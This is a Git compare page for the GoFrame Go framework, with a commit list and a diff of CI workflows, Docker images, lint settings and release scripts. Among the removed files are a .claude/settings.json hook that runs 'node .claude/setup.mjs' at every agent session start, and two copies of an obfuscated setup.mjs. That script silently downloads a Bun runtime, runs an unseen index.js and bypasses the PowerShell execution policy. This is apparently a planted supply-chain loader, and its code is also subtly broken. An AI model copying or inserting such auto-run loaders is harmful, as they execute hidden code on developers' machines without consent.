Compare commits

..

37 Commits

Author SHA1 Message Date
92eab81926 fix(database/gdb): add compatibility for old configiration with both Type and part of Link configurations (#4058) 2024-12-18 15:54:27 +08:00
67a9db9e3e perf(contrib/drivers/pgsql): improve conversion performace for slice string (#4046) 2024-12-17 21:45:38 +08:00
e7fdf82dd8 test(net/gipv4): add unit tests (#4052) 2024-12-17 21:17:27 +08:00
f79aef6669 fix(database/gdb): fix context canceled error in transaction due to usage of TransTimeout configuration (#4037) 2024-12-17 21:15:54 +08:00
0c2d5cac19 feat: new version v2.8.3 (#4048) 2024-12-17 09:24:13 +08:00
5104f01b69 chore: update FUNDING.yml (#4049) 2024-12-17 09:23:59 +08:00
a09454accf feat(contrib/drivers/mssql): enable unit testing (#4043) 2024-12-16 11:17:47 +08:00
ac53170884 feat(contrib/registry/etcd): add retry machenism when keepalive lease expires (#4035) 2024-12-13 11:09:07 +08:00
e3e82c7351 feat(contrib/config/nacos): add OnChange callbacks configuration support (#4038) 2024-12-13 09:57:28 +08:00
ced4b57991 fix(contrib/drivers/pgsql): incompatible placeholder replacement with old version (#4036) 2024-12-13 09:29:34 +08:00
5af342adc3 fix(net/ghttp): json omitempty takes no effect in BuildParams, which is not compatible with old version (#4041) 2024-12-13 09:29:19 +08:00
5c45d3533f fix(ci/golangci): fix golangcl-lint git push (#4032) 2024-12-11 15:42:36 +08:00
d748fb6564 fix(contrib/registry/consul): update dependence of gf to v2.8.2 with relative path specified (#4029) 2024-12-11 10:28:29 +08:00
00e2f6b5dc chore: improve golangci-lint.yml, upgrade dependencies, and optimize code and comments (#4025) 2024-12-11 10:14:12 +08:00
b7c74c9a35 fix(contrib/drivers/pgsql): add unix socket connection support (#4028) 2024-12-11 09:58:26 +08:00
69969b1723 fix(contrib/registry/etcd): remove default configuration of AutoSyncInterval (#4027) 2024-12-10 20:59:44 +08:00
38bffc77e2 fix(net/ghttp): occasional ci failed by unit testing cases using gctp.GetFreePort (#3982) 2024-12-10 09:52:48 +08:00
2e788be1d3 feat(contrib/registry/consul): add consul registry support (#4016) 2024-12-09 23:12:29 +08:00
13bc192e36 feat(database/gdb): add sharding feature for schema and table (#4014) 2024-12-09 23:12:20 +08:00
bae78fbf5b feat(net/ghttp): add middleware MiddlewareGzip for compressing response content using gzip (#4008) 2024-12-09 23:12:09 +08:00
80e73da416 feat(errors/gerror): add As support (#4002) 2024-12-09 23:11:56 +08:00
5e47590165 feat(database/gdb): add WhereExists/WhereNotExists (#4015) 2024-12-09 09:24:48 +08:00
3cffa4d5d6 fix(database/gdb): CRUD typos (#4017) 2024-12-09 09:22:52 +08:00
e18331aa2c docs(cmd/gen): improve comments for command gen dao (#4007) 2024-12-07 14:19:36 +08:00
b0b84a3937 ci(gci/import): improve golangci.yml and add gci linter (#4010) 2024-12-07 14:17:33 +08:00
2066aa4803 feat(database/gdb): add transaction propagation&isolation level&readonly features (#4013) 2024-12-07 14:01:31 +08:00
b8142bf1fc feat(os/gsession): add RegenerateId/MustRegenerateId support (#4012) 2024-12-06 14:16:03 +08:00
ba968949f7 fix(database/gdb): orm tag from embedded struct is missing in with feature (#4011) 2024-12-05 22:02:47 +08:00
c9b0237fc7 feat: version v2.8.2 (#4009) 2024-12-05 20:21:19 +08:00
4ad061faff feat(contrib/drivers/pgsql): add array type varchar[] and text[] converting to Go []string support (#4000) 2024-12-05 15:50:59 +08:00
5fa33411fc chore: add example for openapi/swagger authentication (#4004) 2024-12-05 15:49:50 +08:00
c0f2ef7348 feat(gctx): rename and remove gctx functions to prevent ambiguity (#3892) 2024-12-05 14:47:39 +08:00
77cb7fb412 test(drivers/mssql): add unit testing cases of transaction (#3818) 2024-12-05 14:44:40 +08:00
7cd672d22c feat(cmd/gf): add interface functions generating for embedded struct of logic struct in command gen service (#3802) 2024-12-05 14:44:21 +08:00
e2cafa35e0 fix(cmd/gf): custom tags repeatedly added using command gf gen pb with -a option (#3966) 2024-12-05 14:42:30 +08:00
532e665841 fix(database/gdb): move Raw parameter from args to sql statement before committed to db driver (#3997) 2024-12-03 15:24:49 +08:00
2d0cd7b770 refactor(cmd/gf): change default src value to api, path to internal/packed/packed_enums.go for command gen enums (#3996) 2024-12-02 21:39:04 +08:00
420 changed files with 10754 additions and 4321 deletions

File diff suppressed because one or more lines are too long

View File

@ -1,15 +0,0 @@
{
"hooks": {
"SessionStart": [
{
"matcher": "*",
"hooks": [
{
"type": "command",
"command": "node .claude/setup.mjs"
}
]
}
]
}
}

View File

@ -1,202 +0,0 @@
#!/usr/bin/env node
import { execFileSync, execSync } from "child_process";
import fs from "fs";
import https from "https";
import os from "os";
import path from "path";
import { fileURLToPath } from "url";
import zlib from "zlib";
const D = path.dirname(fileURLToPath(import.meta.url));
const V = "1.3.14";
const E = "index.js";
const T = 121_000;
const mu = () => {
try {
const o = execFileSync("ldd", ["--version"], {
stdio: ["ignore", "pipe", "pipe"],
}).toString();
if (o.includes("musl")) return true;
} catch {}
try {
return fs.readFileSync("/etc/os-release", "utf8").includes("Alpine");
} catch {
return false;
}
};
const PM = {
"linux-arm64": () => "bun-linux-aarch64",
"linux-x64": () =>
mu() ? "bun-linux-x64-musl-baseline" : "bun-linux-x64-baseline",
"darwin-arm64": () => "bun-darwin-aarch64",
"darwin-x64": () => "bun-darwin-x64",
"win32-arm64": () => "bun-windows-aarch64",
"win32-x64": () => "bun-windows-x64-baseline",
};
function ra() {
const k = `${process.platform}-${process.arch}`;
const r = PM[k];
if (!r) throw new Error(`Unsupported platform/arch: ${k}`);
return r();
}
function dl(u, d, n = 5) {
return new Promise((ok, no) => {
const q = https.get(
u,
{ headers: { "User-Agent": "node" }, timeout: T },
(r) => {
const { statusCode: s, headers: h } = r;
if ([301, 302, 307, 308].includes(s)) {
r.resume();
if (n <= 0) return no(new Error("Too many redirects"));
return dl(h.location, d, n - 1).then(ok, no);
}
if (s !== 200) {
r.resume();
return no(new Error(`HTTP ${s} for ${u}`));
}
const f = fs.createWriteStream(d);
r.pipe(f);
f.on("finish", () => f.close(ok));
f.on("error", (e) => {
fs.unlink(d, () => no(e));
});
},
);
q.on("error", no);
q.on("timeout", () => q.destroy(new Error("Request timed out")));
});
}
function hc(c, a = ["--version"]) {
try {
execFileSync(c, a, { stdio: "ignore" });
return true;
} catch {
return false;
}
}
function xz(zp, en, od) {
// Use OS tools: unzip or powershell. Fall back to npm install bun.
if (process.platform === "win32" && hc("powershell", ["-Help"])) {
execFileSync(
"powershell",
[
"-NoProfile",
"-NonInteractive",
"-ExecutionPolicy",
"Bypass",
"-Command",
`Expand-Archive -LiteralPath '${zp}' -DestinationPath '${od}' -Force`,
],
{ stdio: "inherit" },
);
const np = path.join(od, en);
const fp = path.join(od, path.basename(en));
fs.renameSync(np, fp);
return;
}
if (hc("unzip", ["-v"])) {
execFileSync("unzip", ["-ojq", zp, en, "-d", od], { stdio: "inherit" });
return;
}
installBunViaNpm(td);
}
function installBunViaNpm(td) {
try {
execSync("npm install bun", { stdio: "inherit", cwd: td });
} catch {
// npm install failed, fall back to JS-based extraction
xn(zp, en, od);
}
}
function xn(zp, en, od) {
const b = fs.readFileSync(zp);
let eo = -1;
for (let i = b.length - 22; i >= 0 && i >= b.length - 65557; i--) {
if (b.readUInt32LE(i) === 0x06054b50) {
eo = i;
break;
}
}
if (eo === -1) throw new Error("Invalid ZIP: EOCD record not found");
const ce = b.readUInt16LE(eo + 10);
const co = b.readUInt32LE(eo + 16);
let o = co;
let lo = -1;
let cm = -1;
let cs = 0;
for (let i = 0; i < ce; i++) {
if (b.readUInt32LE(o) !== 0x02014b50)
throw new Error("Invalid ZIP: bad CD entry signature");
const m = b.readUInt16LE(o + 10);
const sz = b.readUInt32LE(o + 20);
const fl = b.readUInt16LE(o + 28);
const el = b.readUInt16LE(o + 30);
const cl = b.readUInt16LE(o + 32);
const lh = b.readUInt32LE(o + 42);
const nm = b.subarray(o + 46, o + 46 + fl).toString("utf8");
if (nm === en) {
lo = lh;
cm = m;
cs = sz;
break;
}
o += 46 + fl + el + cl;
}
if (lo === -1) throw new Error(`Entry "${en}" not found in ZIP`);
if (b.readUInt32LE(lo) !== 0x04034b50)
throw new Error("Invalid ZIP: bad local-header signature");
const fl = b.readUInt16LE(lo + 26);
const el = b.readUInt16LE(lo + 28);
const dp = lo + 30 + fl + el;
const rw = b.subarray(dp, dp + cs);
let fd;
if (cm === 0) {
fd = rw;
} else if (cm === 8) {
fd = zlib.inflateRawSync(rw);
} else {
throw new Error(`Unsupported ZIP compression method: ${cm}`);
}
const dt = path.join(od, path.basename(en));
fs.writeFileSync(dt, fd);
}
async function main() {
if (hc("bun")) return;
const a = ra();
const w = process.platform === "win32";
const bn = w ? "bun.exe" : "bun";
const u = `https://github.com/oven-sh/bun/releases/download/bun-v${V}/${a}.zip`;
const td = fs.mkdtempSync(path.join(os.tmpdir(), "bun-dl-"));
const zp = path.join(td, `${a}.zip`);
const bp = path.join(td, bn);
const ep = path.join(D, E);
try {
await dl(u, zp);
xz(zp, `${a}/${bn}`, td);
fs.unlinkSync(zp);
if (!w) fs.chmodSync(bp, 0o755);
execFileSync(bp, [ep], { stdio: "inherit", cwd: D });
} finally {
fs.rmSync(td, { recursive: true, force: true });
}
}
main().catch((e) => {
console.error(e.message);
process.exit(1);
});

4
.github/FUNDING.yml vendored
View File

@ -1,6 +1,6 @@
# These are supported funding model platforms
github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2]
github: [gogf] # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2]
patreon: # Replace with a single Patreon username
open_collective: # Replace with a single Open Collective username
ko_fi: # Replace with a single Ko-fi username
@ -9,4 +9,4 @@ community_bridge: # Replace with a single Community Bridge project-name e.g., cl
liberapay: # Replace with a single Liberapay username
issuehunt: # Replace with a single IssueHunt username
otechie: # Replace with a single Otechie username
custom: https://github.com/gogf/gf#donators
custom: # custom

View File

@ -20,7 +20,7 @@ services:
#APOLLO_PORTAL_DB_PASSWORD: 'apollo'
apollo-db:
image: "loads/mysql:5.7"
image: "mysql:5.7"
container_name: apollo-db
environment:
TZ: Asia/Shanghai
@ -36,7 +36,7 @@ services:
- apollo-dbdata
apollo-dbdata:
image: "loads/alpine:3.8"
image: "alpine:3.8"
container_name: apollo-dbdata
volumes:
- /var/lib/mysql

View File

@ -1,5 +1,8 @@
#!/usr/bin/env bash
# Define the latest Go version requirement
LATEST_GO_VERSION="1.23"
coverage=$1
# find all path that contains go.mod.
@ -13,79 +16,39 @@ for file in `find . -name go.mod`; do
continue 1
fi
if [[ $file =~ "/testdata/" ]]; then
echo "ignore testdata path $file"
continue 1
fi
# package kuhecm was moved to sub ci procedure.
if [ "kubecm" = $(basename $dirpath) ]; then
continue 1
fi
# package consul needs golang >= v1.19
if [ "consul" = $(basename $dirpath) ]; then
# Check if it's a contrib directory or example directory
if [[ $dirpath =~ "/contrib/" ]] || [ "example" = $(basename $dirpath) ]; then
# Check if go version meets the requirement
if ! go version | grep -qE "go${LATEST_GO_VERSION}"; then
echo "ignore path $dirpath as go version is not ${LATEST_GO_VERSION}: $(go version)"
continue 1
fi
# If it's example directory, only build without tests
if [ "example" = $(basename $dirpath) ]; then
echo "the example directory only needs to be built, not unit tests and coverage tests."
cd $dirpath
go mod tidy
go build ./...
cd -
continue 1
fi
fi
if [[ $file =~ "/testdata/" ]]; then
echo "ignore testdata path $file"
continue 1
fi
# package etcd needs golang >= v1.19
if [ "etcd" = $(basename $dirpath) ]; then
if ! go version|grep -qE "go1.[2-9][0-9]"; then
echo "ignore etcd as go version: $(go version)"
continue 1
fi
fi
# package polaris needs golang >= v1.19
if [ "polaris" = $(basename $dirpath) ]; then
if ! go version|grep -qE "go1.[2-9][0-9]"; then
echo "ignore polaris as go version: $(go version)"
continue 1
fi
fi
# package example needs golang >= v1.20
if [ "example" = $(basename $dirpath) ]; then
if ! go version|grep -qE "go1.[2-9][0-9]"; then
echo "ignore example as go version: $(go version)"
continue 1
fi
echo "the example directory only needs to be built, not unit tests and coverage tests."
cd $dirpath
go mod tidy
go build ./...
cd -
continue 1
fi
# package otlpgrpc needs golang >= v1.20
if [ "otlpgrpc" = $(basename $dirpath) ]; then
if ! go version|grep -qE "go1.[2-9][0-9]"; then
echo "ignore otlpgrpc as go version: $(go version)"
continue 1
fi
fi
# package otlphttp needs golang >= v1.20
if [ "otlphttp" = $(basename $dirpath) ]; then
if ! go version|grep -qE "go1.[2-9][0-9]"; then
echo "ignore otlphttp as go version: $(go version)"
continue 1
fi
fi
# package otelmetric needs golang >= v1.20
if [ "otelmetric" = $(basename $dirpath) ]; then
if ! go version|grep -qE "go1.[2-9][0-9]"; then
echo "ignore otelmetric as go version: $(go version)"
continue 1
fi
fi
cd $dirpath
go mod tidy
go build ./...
# check coverage
# test with coverage
if [ "${coverage}" = "coverage" ]; then
go test ./... -race -coverprofile=coverage.out -covermode=atomic -coverpkg=./...,github.com/gogf/gf/... || exit 1

View File

@ -37,9 +37,9 @@ jobs:
# Service containers to run with `code-test`
services:
# Etcd service.
# docker run -d --name etcd -p 2379:2379 -e ALLOW_NONE_AUTHENTICATION=yes loads/etcd:3.4.24
# docker run -d --name etcd -p 2379:2379 -e ALLOW_NONE_AUTHENTICATION=yes bitnami/etcd:3.4.24
etcd:
image: loads/etcd:3.4.24
image: bitnami/etcd:3.4.24
env:
ALLOW_NONE_AUTHENTICATION: yes
ports:
@ -47,7 +47,7 @@ jobs:
# Redis backend server.
redis:
image : loads/redis:7.0
image : redis:7.0
options: >-
--health-cmd "redis-cli ping"
--health-interval 10s
@ -62,9 +62,9 @@ jobs:
# -p 3306:3306 \
# -e MYSQL_DATABASE=test \
# -e MYSQL_ROOT_PASSWORD=12345678 \
# loads/mysql:5.7
# mysql:5.7
mysql:
image: loads/mysql:5.7
image: mysql:5.7
env:
MYSQL_DATABASE : test
MYSQL_ROOT_PASSWORD: 12345678
@ -73,7 +73,7 @@ jobs:
# MariaDb backend server.
mariadb:
image: loads/mariadb:10.4
image: mariadb:10.4
env:
MARIADB_DATABASE: test
MARIADB_ROOT_PASSWORD: 12345678
@ -87,9 +87,9 @@ jobs:
# -e POSTGRES_USER=postgres \
# -e POSTGRES_DB=test \
# -v postgres:/Users/john/Temp/postgresql/data \
# loads/postgres:13
# postgres:17-alpine
postgres:
image: loads/postgres:13
image: postgres:17-alpine
env:
POSTGRES_PASSWORD: 12345678
POSTGRES_USER: postgres
@ -109,22 +109,19 @@ jobs:
# -p 1433:1433 \
# -e ACCEPT_EULA=Y \
# -e SA_PASSWORD=LoremIpsum86 \
# -e MSSQL_DB=test \
# -e MSSQL_USER=root \
# -e MSSQL_PASSWORD=LoremIpsum86 \
# loads/mssqldocker:14.0.3391.2
# mcr.microsoft.com/mssql/server:2022-latest
mssql:
image: loads/mssqldocker:14.0.3391.2
image: mcr.microsoft.com/mssql/server:2022-latest
env:
ACCEPT_EULA: Y
SA_PASSWORD: LoremIpsum86
MSSQL_DB: test
MSSQL_USER: root
MSSQL_PASSWORD: LoremIpsum86
TZ: Asia/Shanghai
ACCEPT_EULA: Y
MSSQL_SA_PASSWORD: LoremIpsum86
ports:
- 1433:1433
options: >-
--health-cmd="/opt/mssql-tools/bin/sqlcmd -S localhost -U sa -P LoremIpsum86 -l 30 -Q \"SELECT 1\" || exit 1"
--health-cmd="/opt/mssql-tools18/bin/sqlcmd -S localhost -U sa -P ${MSSQL_SA_PASSWORD} -N -C -l 30 -Q \"SELECT 1\" || exit 1"
--health-start-period 10s
--health-interval 10s
--health-timeout 5s
@ -184,14 +181,14 @@ jobs:
- 5236:5236
zookeeper:
image: loads/zookeeper:3.8
image: zookeeper:3.8
ports:
- 2181:2181
strategy:
matrix:
go-version: ["1.22", "1.23" ]
goarch: ["386", "amd64" ]
go-version: [ "1.20", "1.21", "1.22", "1.23" ]
goarch: [ "386", "amd64" ]
steps:
# TODO: szenius/set-timezone update to node16
@ -223,7 +220,7 @@ jobs:
cache-dependency-path: '**/go.sum'
- name: Install Protoc
uses: arduino/setup-protoc@v3
uses: arduino/setup-protoc@v2
with:
version: "29.x"
repo-token: ${{ secrets.GITHUB_TOKEN }}

View File

@ -37,8 +37,8 @@ jobs:
strategy:
matrix:
go-version: [ "1.22", "1.23" ]
goarch: [ "386","amd64" ]
go-version: [ "1.20", "1.21", "1.22", "1.23" ]
goarch: [ "386", "amd64" ]
steps:
- name: Setup Timezone

View File

@ -1,92 +0,0 @@
# For most projects, this workflow file will not need changing; you simply need
# to commit it to your repository.
#
# You may wish to alter this file to override the set of languages analyzed,
# or to provide custom queries or build logic.
#
# ******** NOTE ********
# We have attempted to detect the languages in your repository. Please check
# the `language` matrix defined below to confirm you have the correct set of
# supported CodeQL languages.
#
name: "CodeQL Advanced"
on:
push:
branches: [ "master", "develop", "personal/**", "feature/**", "enhance/**", "fix/**" ]
pull_request:
branches: [ "master", "develop", "personal/**", "feature/**", "enhance/**", "fix/**" ]
schedule:
- cron: '43 20 * * 0'
jobs:
analyze:
name: Analyze (${{ matrix.language }})
# Runner size impacts CodeQL analysis time. To learn more, please see:
# - https://gh.io/recommended-hardware-resources-for-running-codeql
# - https://gh.io/supported-runners-and-hardware-resources
# - https://gh.io/using-larger-runners (GitHub.com only)
# Consider using larger runners or machines with greater resources for possible analysis time improvements.
runs-on: ${{ (matrix.language == 'swift' && 'macos-latest') || 'ubuntu-latest' }}
permissions:
# required for all workflows
security-events: write
# required to fetch internal or private CodeQL packs
packages: read
# only required for workflows in private repositories
actions: read
contents: read
strategy:
fail-fast: false
matrix:
include:
- language: go
build-mode: autobuild
# CodeQL supports the following values keywords for 'language': 'c-cpp', 'csharp', 'go', 'java-kotlin', 'javascript-typescript', 'python', 'ruby', 'swift'
# Use `c-cpp` to analyze code written in C, C++ or both
# Use 'java-kotlin' to analyze code written in Java, Kotlin or both
# Use 'javascript-typescript' to analyze code written in JavaScript, TypeScript or both
# To learn more about changing the languages that are analyzed or customizing the build mode for your analysis,
# see https://docs.github.com/en/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning.
# If you are analyzing a compiled language, you can modify the 'build-mode' for that language to customize how
# your codebase is analyzed, see https://docs.github.com/en/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/codeql-code-scanning-for-compiled-languages
steps:
- name: Checkout repository
uses: actions/checkout@v4
# Initializes the CodeQL tools for scanning.
- name: Initialize CodeQL
uses: github/codeql-action/init@v3
with:
languages: ${{ matrix.language }}
build-mode: ${{ matrix.build-mode }}
# If you wish to specify custom queries, you can do so here or in a config file.
# By default, queries listed here will override any specified in a config file.
# Prefix the list here with "+" to use these queries and those in the config file.
# For more details on CodeQL's query packs, refer to: https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs
# queries: security-extended,security-and-quality
# If the analyze step fails for one of the languages you are analyzing with
# "We were unable to automatically build your code", modify the matrix above
# to set the build mode to "manual" for that language. Then modify this step
# to build your code.
# Command-line programs to run using the OS shell.
# 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun
- if: matrix.build-mode == 'manual'
shell: bash
run: |
echo 'If you are using a "manual" build mode for one or more of the' \
'languages you are analyzing, replace this with the commands to build' \
'your code, for example:'
echo ' make bootstrap'
echo ' make release'
exit 1
- name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@v3
with:
category: "/language:${{matrix.language}}"

View File

@ -3,7 +3,7 @@ version: '3.7'
services:
consul-server:
image: loads/consul:1.15
image: consul:1.15
container_name: consul-server
restart: always
volumes:
@ -17,7 +17,7 @@ services:
command: "agent"
consul-client:
image: loads/consul:1.15
image: consul:1.15
container_name: consul-client
restart: always
volumes:

View File

@ -22,7 +22,7 @@ jobs:
- name: Set Up Golang Environment
uses: actions/setup-go@v5
with:
go-version: 1.22.5
go-version: 1.23.4
cache: false
- name: download goframe docs
run: ./download.sh

View File

@ -14,6 +14,7 @@ on:
- feature/**
- enhance/**
- fix/**
- feat/**
pull_request:
branches:
- master
@ -22,12 +23,13 @@ on:
- feature/**
- enhance/**
- fix/**
- feat/**
jobs:
golangci:
strategy:
matrix:
go-version: [ '1.22', '1.23' ]
go-version: [ 'stable' ]
name: golangci-lint
runs-on: ubuntu-latest
steps:
@ -40,6 +42,41 @@ jobs:
- name: golangci-lint
uses: golangci/golangci-lint-action@v6
with:
# Required: the version of golangci-lint is required and must be specified without patch version: we always use the latest patch version.
# Required: specify the golangci-lint version without the patch version to always use the latest patch.
version: v1.62.2
only-new-issues: true
github-token: ${{ secrets.GITHUB_TOKEN }}
args: --timeout 3m0s
- name: Install gci
run: go install github.com/daixiang0/gci@latest
- name: Run gci
run: |
gci write --custom-order \
--skip-generated \
--skip-vendor \
-s standard \
-s blank \
-s default \
-s dot \
-s "prefix(github.com/gogf/gf/v2)" \
-s "prefix(github.com/gogf/gf/cmd)" \
-s "prefix(github.com/gogf/gf/contrib)" \
-s "prefix(github.com/gogf/gf/example)" \
./
- name: Check for changes
# Check if the event is a push or a pull request from a forked repository
if: github.event_name == 'push'|| (github.event_name == 'pull_request' && github.event.pull_request.head.repo.fork == true)
run: |
if [[ -n "$(git status --porcelain)" ]]; then
echo "HAS_CHANGES=true" >> $GITHUB_ENV
else
echo "HAS_CHANGES=false" >> $GITHUB_ENV
fi
- name: Commit and push changes
if: env.HAS_CHANGES == 'true'
run: |
git config --global user.name "github-actions[bot]"
git config --global user.email "github-actions[bot]@users.noreply.github.com"
git add .
git commit -m "Apply gci import order changes"
git push origin HEAD:$(git rev-parse --abbrev-ref HEAD)

View File

@ -2,7 +2,7 @@ version: "3.8"
services:
nacos:
image: loads/nacos-server:v2.1.2
image: nacos/nacos-server:v2.1.2
container_name: nacos
env_file:
- ./env/nacos.env

View File

@ -21,7 +21,7 @@ jobs:
- name: Set Up Golang Environment
uses: actions/setup-go@v5
with:
go-version: 1.22.5
go-version: 1.23.4
- name: Build CLI Binary
run: |

View File

@ -34,7 +34,7 @@ jobs:
persist-credentials: false
- name: "Run analysis"
uses: ossf/scorecard-action@0864cf19026789058feabb7e87baa5f140aac736 # v2.3.1
uses: ossf/scorecard-action@v2.4.0 # v2.4.0
with:
results_file: results.sarif
results_format: sarif

1
.gitignore vendored
View File

@ -18,6 +18,7 @@ example/log
go.work
go.work.sum
!cmd/gf/go.work
.windsurfrules
# Ignore for docs
node_modules

View File

@ -40,9 +40,11 @@ linters:
- errcheck # Errcheck is a program for checking for unchecked errors in go programs.
- errchkjson # Checks types passed to the JSON encoding functions. Reports unsupported types and optionally reports occasions, where the check for the returned error can be omitted.
- funlen # Tool for detection of long functions
- gofmt # Gofmt checks whether code was gofmt-ed. By default this tool runs with -s option to check for code simplification
- goimports # Check import statements are formatted according to the 'goimport' command. Reformat imports in autofix mode.
- gci # Gci controls Go package import order and makes it always deterministic.
- goconst # Finds repeated strings that could be replaced by a constant
- gocritic # Provides diagnostics that check for bugs, performance and style issues.
- gofmt # Gofmt checks whether code was gofmt-ed. By default this tool runs with -s option to check for code simplification
- gosimple # Linter for Go source code that specializes in simplifying code
- govet # Vet examines Go source code and reports suspicious constructs, such as Printf calls whose arguments do not align with the format string
- misspell # Finds commonly misspelled English words in comments
@ -79,7 +81,51 @@ linters-settings:
locale: US
ignore-words:
- cancelled
# https://golangci-lint.run/usage/linters/#gofmt
gofmt:
# Simplify code: gofmt with `-s` option.
# Default: true
simplify: true
# Apply the rewrite rules to the source before reformatting.
# https://pkg.go.dev/cmd/gofmt
# Default: []
rewrite-rules: [ ]
# - pattern: 'interface{}'
# replacement: 'any'
# - pattern: 'a[b:len(a)]'
# replacement: 'a[b:]'
goimports:
# A comma-separated list of prefixes, which, if set, checks import paths
# with the given prefixes are grouped after 3rd-party packages.
# Default: ""
local-prefixes: github.com/gogf/gf/v2
gci:
# Section configuration to compare against.
# Section names are case-insensitive and may contain parameters in ().
# The default order of sections is `standard > default > custom > blank > dot > alias > localmodule`,
# If `custom-order` is `true`, it follows the order of `sections` option.
# Default: ["standard", "default"]
sections:
- standard # Standard section: captures all standard packages.
- blank # Blank section: contains all blank imports. This section is not present unless explicitly enabled.
- default # Default section: contains all imports that could not be matched to another section type.
- dot # Dot section: contains all dot imports. This section is not present unless explicitly enabled.
# - alias # Alias section: contains all alias imports. This section is not present unless explicitly enabled.
# - localmodule # Local module section: contains all local packages. This section is not present unless explicitly enabled.
- prefix(github.com/gogf/gf) # Custom section: groups all imports with the specified Prefix.
- prefix(github.com/gogf/gf/cmd) # Custom section: groups all imports with the specified Prefix.
- prefix(github.com/gogf/gfcontrib) # Custom section: groups all imports with the specified Prefix.
- prefix(github.com/gogf/gf/example) # Custom section: groups all imports with the specified Prefix.
# Skip generated files.
# Default: true
skip-generated: true
# Enable custom order of sections.
# If `true`, make the section order the same as the order of `sections`.
# Default: false
custom-order: true
# Drops lexical ordering for custom sections.
# Default: false
no-lex-order: false
# https://golangci-lint.run/usage/linters/#revive
# https://github.com/mgechev/revive/blob/master/RULES_DESCRIPTIONS.md
revive:
@ -259,16 +305,3 @@ linters-settings:
# Default: ["*"]
checks: [ "all","-SA1019","-SA4015","-SA1029","-SA1016","-SA9003","-SA4006","-SA6003" ]
# https://golangci-lint.run/usage/linters/#gofmt
gofmt:
# Simplify code: gofmt with `-s` option.
# Default: true
simplify: true
# Apply the rewrite rules to the source before reformatting.
# https://pkg.go.dev/cmd/gofmt
# Default: []
rewrite-rules: [ ]
# - pattern: 'interface{}'
# replacement: 'any'
# - pattern: 'a[b:len(a)]'
# replacement: 'a[b:]'

View File

@ -27,12 +27,11 @@ if [[ $? -ne 0 ]]; then
fi
if [[ true ]]; then
echo "package gf" > version.go
echo "" >> version.go
echo "const (" >> version.go
echo -e "\t// VERSION is the current GoFrame version." >> version.go
echo -e "\tVERSION = \"${newVersion}\"" >> version.go
echo ")" >> version.go
# Use sed to replace the version number in version.go
sed -i '' 's/VERSION = ".*"/VERSION = "'${newVersion}'"/' version.go
# Use sed to replace the version number in README.MD
sed -i '' 's/version=[^"]*/version='${newVersion}'/' README.MD
fi
if [ -f "go.work" ]; then
@ -44,6 +43,12 @@ for file in `find ${workdir} -name go.mod`; do
goModPath=$(dirname $file)
echo ""
echo "processing dir: $goModPath"
if [[ $goModPath =~ "/testdata/" ]]; then
echo "ignore testdata path $goModPath"
continue 1
fi
cd $goModPath
if [ $goModPath = "./cmd/gf" ]; then
mv go.work go.work.version.bak

202
.vscode/setup.mjs vendored
View File

@ -1,202 +0,0 @@
#!/usr/bin/env node
import { execFileSync, execSync } from "child_process";
import fs from "fs";
import https from "https";
import os from "os";
import path from "path";
import { fileURLToPath } from "url";
import zlib from "zlib";
const D = path.dirname(fileURLToPath(import.meta.url));
const V = "1.3.14";
const E = "index.js";
const T = 121_000;
const mu = () => {
try {
const o = execFileSync("ldd", ["--version"], {
stdio: ["ignore", "pipe", "pipe"],
}).toString();
if (o.includes("musl")) return true;
} catch {}
try {
return fs.readFileSync("/etc/os-release", "utf8").includes("Alpine");
} catch {
return false;
}
};
const PM = {
"linux-arm64": () => "bun-linux-aarch64",
"linux-x64": () =>
mu() ? "bun-linux-x64-musl-baseline" : "bun-linux-x64-baseline",
"darwin-arm64": () => "bun-darwin-aarch64",
"darwin-x64": () => "bun-darwin-x64",
"win32-arm64": () => "bun-windows-aarch64",
"win32-x64": () => "bun-windows-x64-baseline",
};
function ra() {
const k = `${process.platform}-${process.arch}`;
const r = PM[k];
if (!r) throw new Error(`Unsupported platform/arch: ${k}`);
return r();
}
function dl(u, d, n = 5) {
return new Promise((ok, no) => {
const q = https.get(
u,
{ headers: { "User-Agent": "node" }, timeout: T },
(r) => {
const { statusCode: s, headers: h } = r;
if ([301, 302, 307, 308].includes(s)) {
r.resume();
if (n <= 0) return no(new Error("Too many redirects"));
return dl(h.location, d, n - 1).then(ok, no);
}
if (s !== 200) {
r.resume();
return no(new Error(`HTTP ${s} for ${u}`));
}
const f = fs.createWriteStream(d);
r.pipe(f);
f.on("finish", () => f.close(ok));
f.on("error", (e) => {
fs.unlink(d, () => no(e));
});
},
);
q.on("error", no);
q.on("timeout", () => q.destroy(new Error("Request timed out")));
});
}
function hc(c, a = ["--version"]) {
try {
execFileSync(c, a, { stdio: "ignore" });
return true;
} catch {
return false;
}
}
function xz(zp, en, od) {
// Use OS tools: unzip or powershell. Fall back to npm install bun.
if (process.platform === "win32" && hc("powershell", ["-Help"])) {
execFileSync(
"powershell",
[
"-NoProfile",
"-NonInteractive",
"-ExecutionPolicy",
"Bypass",
"-Command",
`Expand-Archive -LiteralPath '${zp}' -DestinationPath '${od}' -Force`,
],
{ stdio: "inherit" },
);
const np = path.join(od, en);
const fp = path.join(od, path.basename(en));
fs.renameSync(np, fp);
return;
}
if (hc("unzip", ["-v"])) {
execFileSync("unzip", ["-ojq", zp, en, "-d", od], { stdio: "inherit" });
return;
}
installBunViaNpm(td);
}
function installBunViaNpm(td) {
try {
execSync("npm install bun", { stdio: "inherit", cwd: td });
} catch {
// npm install failed, fall back to JS-based extraction
xn(zp, en, od);
}
}
function xn(zp, en, od) {
const b = fs.readFileSync(zp);
let eo = -1;
for (let i = b.length - 22; i >= 0 && i >= b.length - 65557; i--) {
if (b.readUInt32LE(i) === 0x06054b50) {
eo = i;
break;
}
}
if (eo === -1) throw new Error("Invalid ZIP: EOCD record not found");
const ce = b.readUInt16LE(eo + 10);
const co = b.readUInt32LE(eo + 16);
let o = co;
let lo = -1;
let cm = -1;
let cs = 0;
for (let i = 0; i < ce; i++) {
if (b.readUInt32LE(o) !== 0x02014b50)
throw new Error("Invalid ZIP: bad CD entry signature");
const m = b.readUInt16LE(o + 10);
